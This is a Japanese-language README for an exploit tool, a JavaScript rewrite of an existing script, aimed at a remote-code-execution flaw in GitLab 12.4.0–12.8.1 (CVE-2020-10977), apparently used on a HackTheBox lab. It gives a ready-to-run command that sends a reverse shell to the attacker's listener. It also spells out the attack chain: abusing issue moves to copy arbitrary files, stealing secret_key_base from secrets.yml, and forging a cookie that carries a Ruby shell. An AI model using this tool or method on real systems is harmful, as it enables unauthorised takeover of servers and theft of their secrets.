CVE-2020-10977

GitLab v12.4.0-12.8.1 RCE

このツールは https://github.com/dotPY-hax/gitlab_RCE に完全に基づいています。しかし、それは私の環境では動作せず、HTML解析が面倒だったため、JavaScriptで書き直しました。

使用法

通常の方法でリバースシェルハンドラを起動し、その後このスクリプトを以下のように実行します。

TARGET_URI="https://target" TARGET_EMAIL_DOMAIN="laboratory.htb" \
 TARGET_USER="test" TARGET_PASSWORD="Test pass 123" \
 LOCAL_IP="10.10.14.142" LOCAL_PORT="44044" \
 node gitlab_rce.js

プロキシは TUNNEL_HOST="127.0.0.1" TUNNEL_PORT="8080" で指定できます。 これを使ったデバッグにはBurpが特に便利です。

動作内容

1. 対象が起動しているか確認する
2. 指定したユーザーが存在する場合は5へ進む
3. まだ存在しないユーザー名をスキャンする
4. そのユーザーを作成する
5. サインインを試みる
6. 空のプロジェクトを2つ作成する
7. 最初のプロジェクトに、悪意のあるリンクを含む新しい issue チケットを作成する
8. その新しいチケットを別のプロジェクトに移動させ、GitLab に悪意のあるリンクを書き換えさせ、リンクが指すファイルを uploads ディレクトリへコピーさせる
9. 対象ファイルを取得する。この場合、secret_key_base 用の secrets.yml を取得する
10. secret_key_base を使って Ruby シェルを含む悪意のある Cookie を作成し、GitLab に渡す